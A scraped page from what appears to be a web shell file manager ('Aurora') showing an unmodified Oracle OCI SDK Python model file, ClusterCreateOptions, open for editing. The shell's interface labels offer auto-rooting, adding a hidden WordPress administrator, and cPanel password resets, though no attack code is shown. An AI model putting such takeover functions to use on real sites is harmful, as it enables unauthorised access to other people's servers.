Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
container_engine
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: cluster_create_options.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20180222 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class ClusterCreateOptions(object): """ The properties that define extra options for a cluster. """ def __init__(self, **kwargs): """ Initializes a new ClusterCreateOptions object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param service_lb_subnet_ids: The value to assign to the service_lb_subnet_ids property of this ClusterCreateOptions. :type service_lb_subnet_ids: list[str] :param kubernetes_network_config: The value to assign to the kubernetes_network_config property of this ClusterCreateOptions. :type kubernetes_network_config: oci.container_engine.models.KubernetesNetworkConfig :param add_ons: The value to assign to the add_ons property of this ClusterCreateOptions. :type add_ons: oci.container_engine.models.AddOnOptions :param admission_controller_options: The value to assign to the admission_controller_options property of this ClusterCreateOptions. :type admission_controller_options: oci.container_engine.models.AdmissionControllerOptions :param persistent_volume_config: The value to assign to the persistent_volume_config property of this ClusterCreateOptions. :type persistent_volume_config: oci.container_engine.models.PersistentVolumeConfigDetails :param service_lb_config: The value to assign to the service_lb_config property of this ClusterCreateOptions. :type service_lb_config: oci.container_engine.models.ServiceLbConfigDetails """ self.swagger_types = { 'service_lb_subnet_ids': 'list[str]', 'kubernetes_network_config': 'KubernetesNetworkConfig', 'add_ons': 'AddOnOptions', 'admission_controller_options': 'AdmissionControllerOptions', 'persistent_volume_config': 'PersistentVolumeConfigDetails', 'service_lb_config': 'ServiceLbConfigDetails' } self.attribute_map = { 'service_lb_subnet_ids': 'serviceLbSubnetIds', 'kubernetes_network_config': 'kubernetesNetworkConfig', 'add_ons': 'addOns', 'admission_controller_options': 'admissionControllerOptions', 'persistent_volume_config': 'persistentVolumeConfig', 'service_lb_config': 'serviceLbConfig' } self._service_lb_subnet_ids = None self._kubernetes_network_config = None self._add_ons = None self._admission_controller_options = None self._persistent_volume_config = None self._service_lb_config = None @property def service_lb_subnet_ids(self): """ Gets the service_lb_subnet_ids of this ClusterCreateOptions. The OCIDs of the subnets used for Kubernetes services load balancers. :return: The service_lb_subnet_ids of this ClusterCreateOptions. :rtype: list[str] """ return self._service_lb_subnet_ids @service_lb_subnet_ids.setter def service_lb_subnet_ids(self, service_lb_subnet_ids): """ Sets the service_lb_subnet_ids of this ClusterCreateOptions. The OCIDs of the subnets used for Kubernetes services load balancers. :param service_lb_subnet_ids: The service_lb_subnet_ids of this ClusterCreateOptions. :type: list[str] """ self._service_lb_subnet_ids = service_lb_subnet_ids @property def kubernetes_network_config(self): """ Gets the kubernetes_network_config of this ClusterCreateOptions. Network configuration for Kubernetes. :return: The kubernetes_network_config of this ClusterCreateOptions. :rtype: oci.container_engine.models.KubernetesNetworkConfig """ return self._kubernetes_network_config @kubernetes_network_config.setter def kubernetes_network_config(self, kubernetes_network_config): """ Sets the kubernetes_network_config of this ClusterCreateOptions. Network configuration for Kubernetes. :param kubernetes_network_config: The kubernetes_network_config of this ClusterCreateOptions. :type: oci.container_engine.models.KubernetesNetworkConfig """ self._kubernetes_network_config = kubernetes_network_config @property def add_ons(self): """ Gets the add_ons of this ClusterCreateOptions. Configurable cluster add-ons :return: The add_ons of this ClusterCreateOptions. :rtype: oci.container_engine.models.AddOnOptions """ return self._add_ons @add_ons.setter def add_ons(self, add_ons): """ Sets the add_ons of this ClusterCreateOptions. Configurable cluster add-ons :param add_ons: The add_ons of this ClusterCreateOptions. :type: oci.container_engine.models.AddOnOptions """ self._add_ons = add_ons @property def admission_controller_options(self): """ Gets the admission_controller_options of this ClusterCreateOptions. Configurable cluster admission controllers :return: The admission_controller_options of this ClusterCreateOptions. :rtype: oci.container_engine.models.AdmissionControllerOptions """ return self._admission_controller_options @admission_controller_options.setter def admission_controller_options(self, admission_controller_options): """ Sets the admission_controller_options of this ClusterCreateOptions. Configurable cluster admission controllers :param admission_controller_options: The admission_controller_options of this ClusterCreateOptions. :type: oci.container_engine.models.AdmissionControllerOptions """ self._admission_controller_options = admission_controller_options @property def persistent_volume_config(self): """ Gets the persistent_volume_config of this ClusterCreateOptions. :return: The persistent_volume_config of this ClusterCreateOptions. :rtype: oci.container_engine.models.PersistentVolumeConfigDetails """ return self._persistent_volume_config @persistent_volume_config.setter def persistent_volume_config(self, persistent_volume_config): """ Sets the persistent_volume_config of this ClusterCreateOptions. :param persistent_volume_config: The persistent_volume_config of this ClusterCreateOptions. :type: oci.container_engine.models.PersistentVolumeConfigDetails """ self._persistent_volume_config = persistent_volume_config @property def service_lb_config(self): """ Gets the service_lb_config of this ClusterCreateOptions. :return: The service_lb_config of this ClusterCreateOptions. :rtype: oci.container_engine.models.ServiceLbConfigDetails """ return self._service_lb_config @service_lb_config.setter def service_lb_config(self, service_lb_config): """ Sets the service_lb_config of this ClusterCreateOptions. :param service_lb_config: The service_lb_config of this ClusterCreateOptions. :type: oci.container_engine.models.ServiceLbConfigDetails """ self._service_lb_config = service_lb_config def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other